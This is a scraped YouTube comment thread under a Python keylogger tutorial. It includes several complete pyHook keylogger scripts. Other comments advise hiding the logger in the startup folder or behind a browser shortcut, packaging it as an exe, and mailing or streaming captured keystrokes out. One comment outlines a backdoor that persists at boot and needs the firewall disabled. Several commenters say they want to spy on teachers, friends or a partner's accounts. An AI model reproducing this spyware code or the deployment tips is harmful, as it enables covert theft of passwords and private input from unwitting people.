@@irshadtarsoo7734 not totally true. It's good to have knowledge about programming so *you can automate the process of Exploitation* , when it comes to pentesting always prefer tools written than companies and group of peoples who update them regularly and add new features. For example GDB. It's pretty dump to say if you can't write your own debugger you're a script kiddie that's how you sounds right now. Hacking from back in the days meant making a system or anything behave in a way it wasn't supposed to behave. It requires manipulating the network by going into it's deepest layers by understanding the bytes , breaking the executables, corrupting their memory and making them run your malicious script. But you should be able to write programs but it's totally fine if you don't belong from a programming background, you can use tools there's nothing to be ashamed of when the community itself wants to help and provide to those peoples. Sorry but hacking is not programming, but yeah it's good to have the knowledge for writing keyloggers and beacons for red teaming
I remember when I made my first keylogger using python.. I had a lot of fun writing it. However, now I have moved on to more native programming languages.. which can actually give a keylogger the stability and functionality it needs.
This is where we're supposed to tell you to go read the DOCS. Each of those modules that were imported have some documentation that explain what they do. But alas, I imagine you don't got time for that?
This video is amazing! Well done! The music is a great match, the tutorial is hecka easy, and great commentary! I would love to see a follow up video! (Liked and subscribed)
But certain keyloggers are worth 100 pounds. You can either make a shitty keylogger or one that bypasses most, if not all security, works on every OS, organizes what gets logged in a readable manner, autosends it to you via mail or other, and makes itself practically undeletable unless you format by copying itself.
I have a couple of recommendations, though I needed this primarily to build an AutoCorrect database. You'll probably want words rather than individual characters to show up on each line, which means that you'll want to prevent " " from occurring with every keystroke, only after certain delimiters. Most have a set, but the most common are all major punctuation marks. It's probably use the re module for it, and just say something like re.sub("?P[...]", " " + (?P=delimiters), or something like that, if I recall correctly. Second, you'll probably want to save the format in UTF-8 rather than ASCII format, especially if you're like me and type in Chinese, as well.
Just a heads up... I didn't have Python installed on my computer and I tried doing this with the 3.5 and 3.6 versions and it was giving me a lot of trouble.. Uninstalled both and downloaded the 2.7 Python version and it worked way better without giving me trouble. So yes, GO WITH THE 2.7, 32 BIT VERSION. pywin modules - sourceforge.net/projects/pywin32/files/pywin32/Build%20219/ pyhook (2.7, 32 bit version!) - sourceforge.net/projects/pyhook/files/latest/download?source=files Hope this helps.
I watched this video when I was an 11-year-old kid lmao. I struggled to understand much back then but this kind of stuff was what got me interested in programming.
I've installed everything in order but I get this: raise ImportError("No system module '%s' (%s)" % (modname, filename)) ImportError: No system module 'pywintypes' (pywintypes34.dll)
Do I have to create a log file or does the .pyw create one for me? Because when I execute the file no .txt files show up so im not sure what im doing wrong, thank you
You may want to use the keylogger that I have created, it is the same expect its made in c# so it dosnt need the user to have python installed, and it saves file to same folder as exe meaning it can be run on a USB.
File is created automatically and is stored in the location specified in filename = "location" logging.basicConfig(filename=f1,level=logging.DEBUG,format="%(message)s") here f1 is file location (f1 = 'C:\\imp\log3.txt' < in my program)
Weird, I'm putting file_log = 'C:\\Users\\%USERNAME%\\Desktop\\Log.txt' and it isnt working....any ideas? When I double click it and type, no files pop up in my desktop, please help.
I've tried everything and this still wont work. I think I am stuck with just installing the pyHook and pyWin32 because pyHook did not seem to even install anything. Also even if I did get pyHook to work the program closes immediately but also doesn't stay open in the task manager. Also, there is no text document getting created or even if I create one there is no text being logged. Please help, I must be stuck at a very early step.
I tested this by sending it to my other email and downloading it on another computer is there a way of viewing keystrokes from another computer all together?
For some reason, This doesn't work for me. I am able to save and run the program that was made in IDLE, but its not showing the characters in the log file. Please Help
it is in the 3rd line..unless you went to your C drive and made a folder named important ..its not being logged...if you wanted to save it to your desktop it would look something like this C:\Users\YOUR COMPUTERS NAME\Desktop
Is it just me or does everyone else love this guy??! he doesn't have a face I'd like to punch. And he's not as pretentious as the other coding/hacking tutors out there. I'm hoping he's still active in doing vids
if you want a *major* upgrade, code a socket server at home and have it running, it also needs to receive and print out what it received in the logger, make a client that sends every keystroke to the server now you have a very nice logger!
A good idea for a backdoor could be a TCP server/client based application. The server gets put in the C:\Windows\Program Files\(unsuspicious filename), with some malware and some sound files. The malware should not be too harsh, not to delete any files or corrupt anything, but just to be a troll. Then, after getting the IP address and writing it down, you copy a shortcut of the server.pyw file and put it in C:\Documents and Settings\All Users\Start Menu\Programs\Start Up, making it start up every time the computer boots, no matter the user that they pick, all you have to do is disable the firewall and go back to your computer, wait for them to boot the pc back on, type in the IP to the client, and access their computer. I don't recommend using it on someone you don't know or a public computer, because, that would require a DVD with Kali Linux installed on it, an intermediate knowledge of batch/DOS.
+Timmy Spaeth Is there a ios version of 'pywin32', is the 'pyHook' module download also a win32 based module? I have the IDLE downloaded and i've placed other scripts in it, and they've ran, but im assuming the win32 module wont run through my apple OS. Maybe 'pyHook since it looks like a normal python file.
In my opinion, this is a very bad tutorial. As I am watching your script, you just copied it from the internet, because there are 2 things, that are not needed in your script, like the "chr(event.Ascii)" line and the "return True" line, because they have no use. Also it is very hard to keep up with you, because the text is displayed so fast, that you have to stop the video regularly. Appended to this, there is no prepared file (containing the script), that you could download, when you have problems with your script. The download linkt to the extensions wouldn't be a bad idea, to put in the description, would it? The only thing that I can see, that it must have taken you a lot of time, to create all the effects, that are in the video. You should try to make it easier for the users, to understand, what you are showing in your tutorial. (don't tell, I should too) However, please don't answer on this post.
You're actually wrong pal. When you hook to an event in windows you have to return a Bool value to the windows hook manager. and the chr(event.Ascii) is the one which actually gets the key pressed, like when a key is pressed for example A then the Ascii value would be 42(I guess so) and that number is converted to the alphabet so its required. for more information read the msdn page of microsoft about hooking to windows events
+Soham Biswas That's not how it works. Anti-Viruses don't stop some functionality of the programs but keep it running, they will either completely stop the program or ignore it. If the log file is empty, then it's probably a bug in the code.
Hi i know im a bit late but i get this error: File ".\keylogtest.pyw", line 7 chr(event.Ascii) ^ SyntaxError: invalid syntax Does anyone know whats going on? I cant seem to find the problem.
Draganko123... to take over the world XD u cant get me im checking the processes running every startup and i have malwawrebytes anti malware premium and norton (i know norton sucks) XD
Hampus Gaming (H Channel) You think that will save you? You do know that task manager can be exploited as well! :P Norton does suck :P Malwarebytes is good though!
The next thing to do with this would be to use py to exe. Which converts python programs to exe programs. This would ensure that where you place the keylogger you don't need python installed on the machine. :)
***** get yourself pip (bootstrap.pypa.io/get-pip.py) and run it. then you can go into your Python/Scripts directory and there you can find "pip.exe". with that and the windows cmd you can install alsmost any module by just saying "pip install NAME", e.g. "pip install pyHOOK". It also allows you to uninstall the modules clean and safe...
*HOW TO GET pyHOOK* some people may have the problem on not knowing how to get pyHOOK, so here is the solution: grab this file: bootstrap.pypa.io/get-pip.py and then save it somewhere and run it. It will install you PIP. then you go to your Python Directory and in the "scripts" folder you may find a "pip.exe". now you just need to open up the CMD there (startmenu-search for "cmd", then type in "cd" then a space and then the directory where python/scripts/pip.exe is). Then type in (into the cmd again) "pip install pyhook". And then you're DONE! finding that solution took me about 2 hours so please ask if you didnt get something yet.
haugummi LP C\...\>pip install pyhook Collecting pyhook Could not find a version that satisfies the requirement pyhook (from versions ) Some externally hosted files were ignored as access to them may be unreliable (use --allow-external pyhook to allow). No matching distribution found for pyhook i have python 3.5 on windows 7 64 bit, should i install some older python version aswell or what should i do ???
I am very late here. However, I have written out all of the code, and installed pywin32 and pyHook for version 2.7.5 with python version 2.7.5. However whenever I click the program once saved it says the following: ( screenshot ) gyazo.com/37ff56741f3a55b049d7349d6dd9b9ef
Ran into this issue recently at work. Uninstall, and then reinstall python 2.7.12 (it's good practice to stick to the most recent patch of whatever minor version you're using). Then, make sure that you include the 'pip' package manager in your PATH. If pip is failing, you can download wheels from www.lfd.uci.edu/~gohlke/pythonlibs/, and then target them with 'pip install'.
That code is outdated and too fancy. This is an easier, cleaner and updated code: import pythoncom, pyHook def OnKeyboardEvent(event): global keylog keylog = chr(event.Ascii) with open('DATA.txt', 'a') as f: f.write(keylog) f.close() return True if __name__=='__main__': hook_manager = pyHook.HookManager() hook_manager.KeyDown = OnKeyboardEvent hook_manager.HookKeyboard() pythoncom.PumpMessages()
this program doesnt take input of special characters that require (shift key + numerical) input. it just takes the numerical part in the log. How can the program be changed to include multiple key input strokes?
I've done everything correct. I just dont know where my keystrokes are being logged at? Am I supposed to make a file or something to where the keystrokes are being recorded or where do I find out where they are being recorded at if there is already a file?
Ok, I did this, got it running and stuff. I wrote a .bat file and just double click it to run the program manually. I basically just want it running while I'm away from my computer, and then I will just kill it when I return (or whenever I feel like it). Anyways, big question here: It logs input, keys pressed, for apps like notepad, or MS Word, or whatever.....but open up a browser like Firefox and IE, and the characters that are written to the log file are all mangled and unreadable. This is a pretty big drawback, since really I want to see what's logged while a user browses the internet (keys pressed). I am guessing because browsers have encoded/encrypted data. Is there anyway around this? Maybe I should rephrase that, since there probably IS a way, is there any relatively simple way around this?
hey thinker where did you learn to code like this - or how / training books? - to be able to code like a black hat? been watching a few tutorials online about it not from your channel but so far only teaching me how to add intergers together... is about as dept as the other tutorials go. i need some direction can you help please
So I've tested to see if it works and it does. The problem I'm having is that when I click to execute it, it pops up in task manager (like it's supposed to) but after about a second, it closes automatically. I've checked the code thoroughly to see if I didn't misspell something or forget any pieces of code and it is all there. So basically it should be working fine, can someone help me with this? Thank you for your time.
All works great, except when I open the 'log_file' (log.txt), all of the keyboard captures are being printed in a single column vertically....how can I change this so the keyboard captures are written to the file as the normally would be -- horizontally, line by line?? Thanks
Does it work in Python 3.4 version? I've checked the syntax and I've installed the modules, it doesn't return any message error but also it doesn't work. It isn't creating a log file, and if I create it manually for debugging purposes, still it doesn't work.
'After youve tested it to make sure it works' How do you test it? Ive written all the code in the idle and saved as a pyw. Now I want to test this keylogger in my virtual machine. What are the next steps? Im just confused. Thanks in advance for any help.
So when I try to execute the script in python, no text shows up - it basically seems to just finish the script without showing any text. Does that mean it's working?
Im getting this error, Im confused because I already installed this module... Traceback (most recent call last): File "C:/Users/Gel Douche/Desktop/Keylogger.py", line 1, in import win32api ImportError: DLL load failed: The specified module could not be found.
For some stupid reason the same code works in idle and outputs correctly, but when it is run on pycharm all of the texts in the log file gets messed up (outputs blocks instead of characters)..... am I doing something wrong?
hi, its wonderful. I like your style boss. I want to become a python developer. I have not any background in programming. so can you advise me please, how to start? may i need to learn HTML, C, C+ or anything else? I'm waiting for your response to start. hope you advise me soon. God bless you Sir. Thank you.
What does pyhook do? I tried it without it to see what would happen and our just didn't log the text in the notepad document. Is this what it is for, the logging? Thanks. 😊
to start the script with out the person knowing you can put it in the shell:startup folder simple press ctrl + r from the run window then in the box type shell:startup and put the keylogger in the folder and it will start automatically when they start the computer
Or if you want it to run when somebody opens google, right-click on Google in your desktop, go to properties. In properties search for "Target:". Change the value in target to the location of the keylogger file. Then search for "Start in:" Put the location of the folder where the keylogger is found. I hope it helps.
Oh.. Here is a question.. (Let me give you the scenario first) "To work I got to use the company's computer, and I login as a guest. The PC don't allow me to make any changes to it. And it pisses me off that if I don't use it for 3~5 minutes, it will log off. So I was thinking about making a arduino program with a motion detector that it would make a small actuator touch the screen every 3 minutes if no motion was detected." Now, writing a code that would launch it self and just run in the back ground sounds much easier... So if I write one like this and just change the hook manager to watch for no activity within 3 min, and some how add a command that would hit ESC on the keyboard or the mouse's right click, that would work right? Any chance u know these commands? Thx..
well, I made it and kinda works dude, but once I change on the short cut the destination it also switches the Expl icon for one that has a couple of gears, any suggestions? very goog video by the way.
Is there a command or anything you can press to make the keylogger stop? When im trying out my keylogger i have no way of stopping it but to go in taskmanager and it dosent even keep any logs :(
"Hack to learn, not to hack" - Great Dude
Hacking is not programming
@@vexanval It is, dumbfuck
@@vexanval you need to know programming in order to write scripts to hack , else you'll only be a script kiddid
kiddie*
@@irshadtarsoo7734 not totally true. It's good to have knowledge about programming so *you can automate the process of Exploitation* , when it comes to pentesting always prefer tools written than companies and group of peoples who update them regularly and add new features. For example GDB. It's pretty dump to say if you can't write your own debugger you're a script kiddie that's how you sounds right now. Hacking from back in the days meant making a system or anything behave in a way it wasn't supposed to behave. It requires manipulating the network by going into it's deepest layers by understanding the bytes , breaking the executables, corrupting their memory and making them run your malicious script. But you should be able to write programs but it's totally fine if you don't belong from a programming background, you can use tools there's nothing to be ashamed of when the community itself wants to help and provide to those peoples. Sorry but hacking is not programming, but yeah it's good to have the knowledge for writing keyloggers and beacons for red teaming
He forgot to say "For educational purposes only"
F
*FBI OPEN THE FUCKING DOOR!*
What if it isnt
_you have been banned_
hahahaaaa
I remember when I made my first keylogger using python.. I had a lot of fun writing it. However, now I have moved on to more native programming languages.. which can actually give a keylogger the stability and functionality it needs.
Can you teach me please?
Would be great if you explain what each line of the code was doing, i think would be better for who are learning. Great video thnx
+Ankush Thakur Can you tell me where I can find the documentation?
Follow The White Rabbit So, what's the point of learning C if you make everything 50 times harder?
Newbie people doesn't install python.
no wix I don't need a fucking website now let me watch the video!
aspe121 got the same ad!! Hahahahahah!
aspe121 i got it too
ikr LOL
+Redownload too lazy
Say my name!
Make an in-depth tutorial. I want to know what each line of code does specifically.
Sulaiman Adebayo whats ur phone number or icq let me talk to u
This is where we're supposed to tell you to go read the DOCS. Each of those modules that were imported have some documentation that explain what they do. But alas, I imagine you don't got time for that?
Josh Sells Guns codecademy exists
This video is amazing! Well done! The music is a great match, the tutorial is hecka easy, and great commentary! I would love to see a follow up video!
(Liked and subscribed)
ive learned more about programming in 5 minuintes than i have in my whole 3 years of self research. your awesome
+sid scott *you're
One of the best tutorial it helped see more things than what i could see right now . This had given a perspective of programming
Lol and all those people who paid like £100 for theirs
+OhhKillerZxD Free keyloggers exist my friend, not all are paid.
But certain keyloggers are worth 100 pounds. You can either make a shitty keylogger or one that bypasses most, if not all security, works on every OS, organizes what gets logged in a readable manner, autosends it to you via mail or other, and makes itself practically undeletable unless you format by copying itself.
Most of them don't bypass at all. Antivirus flag them right away soon or later.
Ismael Arlen Reyes I never said most of them bypass, but the quality ones. Learn to read.
Not even the quality ones. Paid Antivirus will likely detect them.
You should put all the links in the description.
Everything is correct but my log file is still blank.
Same Help!!
Same
same
I am looking for an answer to this... It seems like it's not logging the Ascii text, rather blank spaces
Guys, i dont know how to fix this, but it seems when you run the file inside idle or pycharm, it logs correctly the characters
These videos are great! I can't believe I didn't know about them five years ago!
I have a couple of recommendations, though I needed this primarily to build an AutoCorrect database.
You'll probably want words rather than individual characters to show up on each line, which means that you'll want to prevent "
" from occurring with every keystroke, only after certain delimiters. Most have a set, but the most common are all major punctuation marks. It's probably use the re module for it, and just say something like re.sub("?P[...]", "
" + (?P=delimiters), or something like that, if I recall correctly.
Second, you'll probably want to save the format in UTF-8 rather than ASCII format, especially if you're like me and type in Chinese, as well.
it works, but the txt only shows ASCII symbols?! how can i convert them?
How would I send it through email to activate when someone opens an image?
simply not
Lol put this on my teachers computer 😂
haha already got something?
So, what's your teacher's favorite porn website?
watch those c's turn into 0's when they find out
Do any of you know what code makes the bat file run the script instead of open it?
L Da No you're not, you're full of shit. Shut up, grow up, piss off.
Just a heads up... I didn't have Python installed on my computer and I tried doing this with the 3.5 and 3.6 versions and it was giving me a lot of trouble.. Uninstalled both and downloaded the 2.7 Python version and it worked way better without giving me trouble.
So yes, GO WITH THE 2.7, 32 BIT VERSION.
pywin modules - sourceforge.net/projects/pywin32/files/pywin32/Build%20219/
pyhook (2.7, 32 bit version!) - sourceforge.net/projects/pyhook/files/latest/download?source=files
Hope this helps.
I watched this video when I was an 11-year-old kid lmao. I struggled to understand much back then but this kind of stuff was what got me interested in programming.
I've installed everything in order but I get this:
raise ImportError("No system module '%s' (%s)" % (modname, filename))
ImportError: No system module 'pywintypes' (pywintypes34.dll)
im a bit late but ik how to fix it, you need to delete your system 32 and it will be fine.
dude its a joke, u don't even need expirenece from computing, its just common sense so stop acting like ur a pro dev.
I literally deleted every trace of python from my computer and started from scratch again and it still doesn't fix that error for me.
You have to (or at least I had to) install pywintypes.
Open cmd.exe and type:
pip install pypiwin32
just copy the path of pywintypes that is in python->Lib->site-packages->win32->lib and paste it in your system variables
Do I have to create a log file or does the .pyw create one for me? Because when I execute the file no .txt files show up so im not sure what im doing wrong, thank you
It creates one for you upon receiving the first keystrokes.
You may want to use the keylogger that I have created, it is the same expect its made in c# so it dosnt need the user to have python installed, and it saves file to same folder as exe meaning it can be run on a USB.
Interesting, mind adding me on skype to send me the script?
File is created automatically and is stored in the location specified in filename = "location"
logging.basicConfig(filename=f1,level=logging.DEBUG,format="%(message)s")
here f1 is file location (f1 = 'C:\\imp\log3.txt' < in my program)
Weird, I'm putting
file_log = 'C:\\Users\\%USERNAME%\\Desktop\\Log.txt'
and it isnt working....any ideas? When I double click it and type, no files pop up in my desktop, please help.
very cool! any tutorial on how to escape from federal agents?
I'd watch out if I were you, lay a low profile for about 25 years so the NSA will forget about you
@@itamar_da_god5651 it's too late man, the feds got me, I'm in prison for life rn.
dang nabbit, those scoundrels! i'll show them who's boss! muhahaha - wait who's knocking on my doo - oh shit
I've tried everything and this still wont work. I think I am stuck with just installing the pyHook and pyWin32 because pyHook did not seem to even install anything. Also even if I did get pyHook to work the program closes immediately but also doesn't stay open in the task manager. Also, there is no text document getting created or even if I create one there is no text being logged. Please help, I must be stuck at a very early step.
I tested this by sending it to my other email and downloading it on another computer is there a way of viewing keystrokes from another computer all together?
For some reason, This doesn't work for me. I am able to save and run the program that was made in IDLE, but its not showing the characters in the log file. Please Help
same here bro! Plz help anyone as it shows random characters in log file!
same thing happened to me i tried it on a game and i switched the profile and the only thing i understood was the word profile
Maybe a stupid question. But i cant find the files where it is logged...
Seriously, this is pissing me the fuck off
it is in the 3rd line..unless you went to your C drive and made a folder named important ..its not being logged...if you wanted to save it to your desktop it would look something like this
C:\Users\YOUR COMPUTERS NAME\Desktop
Used a different one with devC++. Works perfectly.
I have a problem with log.txt
If i make it, doesn't work
If i don't make it, doesn't make automatic
Same!
the only way i was able to do it is by going to my python Idle and clicking open then selecting the file and then clicking run and then "run module"
Is it just me or does everyone else love this guy??! he doesn't have a face I'd like to punch. And he's not as pretentious as the other coding/hacking tutors out there. I'm hoping he's still active in doing vids
if you want a *major* upgrade, code a socket server at home and have it running, it also needs to receive and print out what it received
in the logger, make a client that sends every keystroke to the server
now you have a very nice logger!
thanks found out my sisters boyfriend was cheating on her and got onto his facebook
Gg dude
+KOUNTER gg wp
+KOUNTER GG
ez
What was that before (message)
Put links in description man
how can i install the modules????
use pip. open cmd as admin. run pip install
When i type pip it does not reconigze as a command. What should I do?
install pip first
@@JeaneAdix NPC meme is dead
that's just awesome! so helpful for me that i'm just in the begining of learnining! thank you so much,people like u we need in youtube
A good idea for a backdoor could be a TCP server/client based application. The server gets put in the C:\Windows\Program Files\(unsuspicious filename), with some malware and some sound files. The malware should not be too harsh, not to delete any files or corrupt anything, but just to be a troll. Then, after getting the IP address and writing it down, you copy a shortcut of the server.pyw file and put it in C:\Documents and Settings\All Users\Start Menu\Programs\Start Up, making it start up every time the computer boots, no matter the user that they pick, all you have to do is disable the firewall and go back to your computer, wait for them to boot the pc back on, type in the IP to the client, and access their computer. I don't recommend using it on someone you don't know or a public computer, because, that would require a DVD with Kali Linux installed on it, an intermediate knowledge of batch/DOS.
Kali has an icognito setting that makes it look like windows, or use a virtual box
module: pyhook: sourceforge.net/projects/pyhook/files/latest/download?source=files
import pyHook, pythoncom, sys, logging
file_log = 'C:/keyloggeroutput.txt'
def OnKeyboardEvent(event):
logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
chr(event.Ascii)
logging.log(10,chr(event.Ascii))
print("True")
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
+Timmy Spaeth Is there a ios version of 'pywin32', is the 'pyHook' module download also a win32 based module? I have the IDLE downloaded and i've placed other scripts in it, and they've ran, but im assuming the win32 module wont run through my apple OS. Maybe 'pyHook since it looks like a normal python file.
+Jacob Westerfield
pywin32 is a Windows OS interaction module. iOS is an Apple OS, not Windows OS.
Sorry, but no.
+Jacob Westerfield 32 sucks bro...
+tmanswagg could try through pip
cd ..
cd ..
cd Python27/Scripts
python pip install pyHook
youll need to put "C://" not "C:/" otherwise python wont recognize what your trying to do
In my opinion, this is a very bad tutorial.
As I am watching your script, you just copied it from the internet, because there are 2 things, that are not needed in your script, like the "chr(event.Ascii)" line and the "return True" line, because they have no use.
Also it is very hard to keep up with you, because the text is displayed so fast, that you have to stop the video regularly.
Appended to this, there is no prepared file (containing the script), that you could download, when you have problems with your script.
The download linkt to the extensions wouldn't be a bad idea, to put in the description, would it?
The only thing that I can see, that it must have taken you a lot of time, to create all the effects, that are in the video.
You should try to make it easier for the users, to understand, what you are showing in your tutorial.
(don't tell, I should too)
However, please don't answer on this post.
Simon WoodburyForget
MORE!
xD
I mean, really, there are lots of better ways to do this...
But however, the graphics of this video are quite good!
Zuzu Typ I agree with you
*****
of cause it is
Can you help make me one please ? I want to mess with my friend
You're actually wrong pal. When you hook to an event in windows you have to return a Bool value to the windows hook manager. and the chr(event.Ascii) is the one which actually gets the key pressed, like when a key is pressed for example A then the Ascii value would be 42(I guess so) and that number is converted to the alphabet so its required. for more information read the msdn page of microsoft about hooking to windows events
im executing the file and not getting a log file
D.G.K.R Records disable ur anti virus
+Soham Biswas That's not how it works. Anti-Viruses don't stop some functionality of the programs but keep it running, they will either completely stop the program or ignore it. If the log file is empty, then it's probably a bug in the code.
bro, you did it...you earned a subscriber...
This only records lowercase characters. Is there a way to make it detect the shift button and record uppercase and special characters?
Hi i know im a bit late but i get this error: File ".\keylogtest.pyw", line 7
chr(event.Ascii)
^
SyntaxError: invalid syntax
Does anyone know whats going on? I cant seem to find the problem.
yeah looks like you have a syntax mistake in line 7 haha, are you sure you copied everything correctly?
i think so i checked three times
You may not have closed the parenthesis in the previous line.
logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)')
thanks i'll look into that when I'm back at pc
Nice! I'll add my EVIILL PLANS TO THIS! MUAHAHAHAHHAHAHAHAHAHAHHA!
Draganko123... to take over the world XD u cant get me im checking the processes running every startup and i have malwawrebytes anti malware premium and norton (i know norton sucks) XD
Hampus Gaming (H Channel) You think that will save you? You do know that task manager can be exploited as well! :P Norton does suck :P Malwarebytes is good though!
Draganko123 ima wait until norton expires and use windows 8 defender it has been so much improved sience last windows defender
Do you need to shut up? No? You should. smh.
can i send it to somone? if yes how?
some times i miss your older videos you seem a lot calmer
The next thing to do with this would be to use py to exe. Which converts python programs to exe programs. This would ensure that where you place the keylogger you don't need python installed on the machine. :)
I got pyhook and pywin32 but they aren't installation files what do I do?
***** stackoverflow.com/questions/21222114/how-do-i-install-python-libraries?answertab=votes#tab-top
Thanks :)
***** get yourself pip (bootstrap.pypa.io/get-pip.py) and run it. then you can go into your Python/Scripts directory and there you can find "pip.exe". with that and the windows cmd you can install alsmost any module by just saying "pip install NAME", e.g. "pip install pyHOOK". It also allows you to uninstall the modules clean and safe...
thanks!
Do I need the modules installed on the target computer (the computer that I want to inject the code)
^^^ yeah... how is that supposed to work?
yes
Where do I have to save the Modules in order to make the programm working? I saved them in my Downloads folder and it didn't work.
i would imagine that you would need python and the modules which you should be able o just install per usual
look at py2exe
Just managed to make it send me a email with the keylogs when the pc shuts down. Python is awesome. I can now find out any of my friends passwords.
lol no u didnt
Thanks! Clear and simple as it commonly necessary
I just tried it. It really works!!!
*HOW TO GET pyHOOK*
some people may have the problem on not knowing how to get pyHOOK,
so here is the solution:
grab this file: bootstrap.pypa.io/get-pip.py and then save it somewhere and run it. It will install you PIP. then you go to your Python Directory and in the "scripts" folder you may find a "pip.exe". now you just need to open up the CMD there (startmenu-search for "cmd", then type in "cd" then a space and then the directory where python/scripts/pip.exe is).
Then type in (into the cmd again) "pip install pyhook". And then you're DONE! finding that solution took me about 2 hours so please ask if you didnt get something yet.
haugummi LP C\...\>pip install pyhook
Collecting pyhook
Could not find a version that satisfies the requirement pyhook (from versions
)
Some externally hosted files were ignored as access to them may be unreliable
(use --allow-external pyhook to allow).
No matching distribution found for pyhook
i have python 3.5 on windows 7 64 bit, should i install some older python version aswell or what should i do ???
Whitehead
i got 3.3 and it works for me...
i dunno what to do though :D
How I can install pywin32
This video is very hard to understand
It doesn't work
Did I just download the virus
I mean that can be your key logger
I deleted faster
+Haugummi I could get pyHook, but not pyWin, any idea on how to install it please ?
I am very late here.
However, I have written out all of the code, and installed pywin32 and pyHook for version 2.7.5 with python version 2.7.5.
However whenever I click the program once saved it says the following: ( screenshot )
gyazo.com/37ff56741f3a55b049d7349d6dd9b9ef
Pls help
TrueChaos whats the link to module download
Ran into this issue recently at work. Uninstall, and then reinstall python 2.7.12 (it's good practice to stick to the most recent patch of whatever minor version you're using). Then, make sure that you include the 'pip' package manager in your PATH. If pip is failing, you can download wheels from www.lfd.uci.edu/~gohlke/pythonlibs/, and then target them with 'pip install'.
Fixed already but thanks
How did you fix it? I have run into the same issue.
thank you for explaining everything so well
I understood everything that was done haha
haha
ha
dude plz explain stuff more clearly
Should I learn python or c++?
but since you programmed it from python, you need to have python on whatever machine you're trying to run it on correct?
Why is this music on every single one of your videos? I feel like someone is taking a shit on my soul when I hear it.
Not an NPC Song bad :^|
Is there any way I can make it a link so I can send it to my friend so when he types stuff in it emails it to me or send it to me?
Sure.
Check out GitHub for such keyloggers
That code is outdated and too fancy. This is an easier, cleaner and updated code:
import pythoncom, pyHook
def OnKeyboardEvent(event):
global keylog
keylog = chr(event.Ascii)
with open('DATA.txt', 'a') as f:
f.write(keylog)
f.close()
return True
if __name__=='__main__':
hook_manager = pyHook.HookManager()
hook_manager.KeyDown = OnKeyboardEvent
hook_manager.HookKeyboard()
pythoncom.PumpMessages()
I'm working on that. But I'm pretty sure that you will need the smtp module, already included in Python.
Does your target machine has Python and the Pyhook/Win32 modules installed?
where you need to put your text file path in that code??
It's not needed because the file with the keystrokes log will be created in the same path where you have the script.
then add them, email modules to make it fun Lulz :)
hope you're still making videos your videos make a lot of sense to me thank you!
What module would you use if you were using Linux instead Windows?
My zemana anti logger program works lol it puts random shit in the file :)
How do you test it
+That Waff1e import pyHook, pythoncom, sys, logging
file_log = 'C:/log.txt'
def OnKeyboardEvent(event):
logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
chr(event.Ascii)
logging.log(10,chr(event.Ascii))
return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
Help, someone.
import pyHook, pythoncom, sys, logging
file_log = 'C:\\Users\\User\\Documents\\log.txt'
def OnKeyboardEvent (event):
logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
chr(event.Ascii)
logging.log(10,chr(event.Ascii))
return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
The error is: Invalid character in identifier. Idk what i've done wrong!
Error2147483647 try to import like this
import pyHook
import pythoncom
... Same as all
I'm running python on Mac, after I coded the key logger, how do I run it? Where do I access the information it is gathering? Thank you
Dam this guy just made everything make sense for once Thanks !!!!..... SUBSCRIBED
Where is the data outputted?
+Sergeant Vin Anywhere you want it to, the line that says
file_log = "C:\\AnywhereYouWantItTo\\YourData.txt"
It's logged in the txt file
Name checks out.
it won't be outputted for me
unable to find log.txt file
yes
I just learned how to hack in 5 minutes
no you didn't
u learned a* hack , not how to hack .... big difference buddy
no this isnt hacking you use a code written by someone else to hack peeps
learn to program
hey guys I was joking lmao. I know hes not teaching people to hack. guess I need to work on my sarcasm?
Kinda xD
this program doesnt take input of special characters that require (shift key + numerical) input. it just takes the numerical part in the log. How can the program be changed to include multiple key input strokes?
I've done everything correct. I just dont know where my keystrokes are being logged at? Am I supposed to make a file or something to where the keystrokes are being recorded or where do I find out where they are being recorded at if there is already a file?
Question: When you are trying to change the internet explorer shortcut to run the batch file, what is the code that you use? I cannot see it.
Thanks! I'm just starting to learn python and this helped me alot. To be honest I didn't even know you could script in the python IDE.
Ok, I did this, got it running and stuff. I wrote a .bat file and just double click it to run the program manually. I basically just want it running while I'm away from my computer, and then I will just kill it when I return (or whenever I feel like it). Anyways, big question here:
It logs input, keys pressed, for apps like notepad, or MS Word, or whatever.....but open up a browser like Firefox and IE, and the characters that are written to the log file are all mangled and unreadable. This is a pretty big drawback, since really I want to see what's logged while a user browses the internet (keys pressed). I am guessing because browsers have encoded/encrypted data. Is there anyway around this? Maybe I should rephrase that, since there probably IS a way, is there any relatively simple way around this?
hey thinker where did you learn to code like this - or how / training books? - to be able to code like a black hat? been watching a few tutorials online about it not from your channel but so far only teaching me how to add intergers together... is about as dept as the other tutorials go. i need some direction can you help please
So I've tested to see if it works and it does.
The problem I'm having is that when I click to execute it, it pops up in task manager (like it's supposed to) but after about a second, it closes automatically.
I've checked the code thoroughly to see if I didn't misspell something or forget any pieces of code and it is all there.
So basically it should be working fine, can someone help me with this?
Thank you for your time.
All works great, except when I open the 'log_file' (log.txt), all of the keyboard captures are being printed in a single column vertically....how can I change this so the keyboard captures are written to the file as the normally would be -- horizontally, line by line?? Thanks
"hack to learn Dont learn to hack"👍nice video
How do you test to see if the key logger in the video works on your computer? Appreciate any help, thanks!
It took me about 7 seconds in to press like. Good stuff!
Does it work in Python 3.4 version? I've checked the syntax and I've installed the modules, it doesn't return any message error but also it doesn't work. It isn't creating a log file, and if I create it manually for debugging purposes, still it doesn't work.
'After youve tested it to make sure it works' How do you test it?
Ive written all the code in the idle and saved as a pyw. Now I want to test this keylogger in my virtual machine. What are the next steps? Im just confused. Thanks in advance for any help.
What should I start with C++ or Python?
does this work for mac aswell without the windows module obviously?
can you use notepad++? because i heard that it supports many of the modern languages
hi what is the best book that you think can turn a beginner into a python hero???)))
So if i create this and store it in a flashdrive, can I manually insert this keylogger onto others computers?
So when I try to execute the script in python, no text shows up - it basically seems to just finish the script without showing any text. Does that mean it's working?
Im getting this error, Im confused because I already installed this module...
Traceback (most recent call last):
File "C:/Users/Gel Douche/Desktop/Keylogger.py", line 1, in
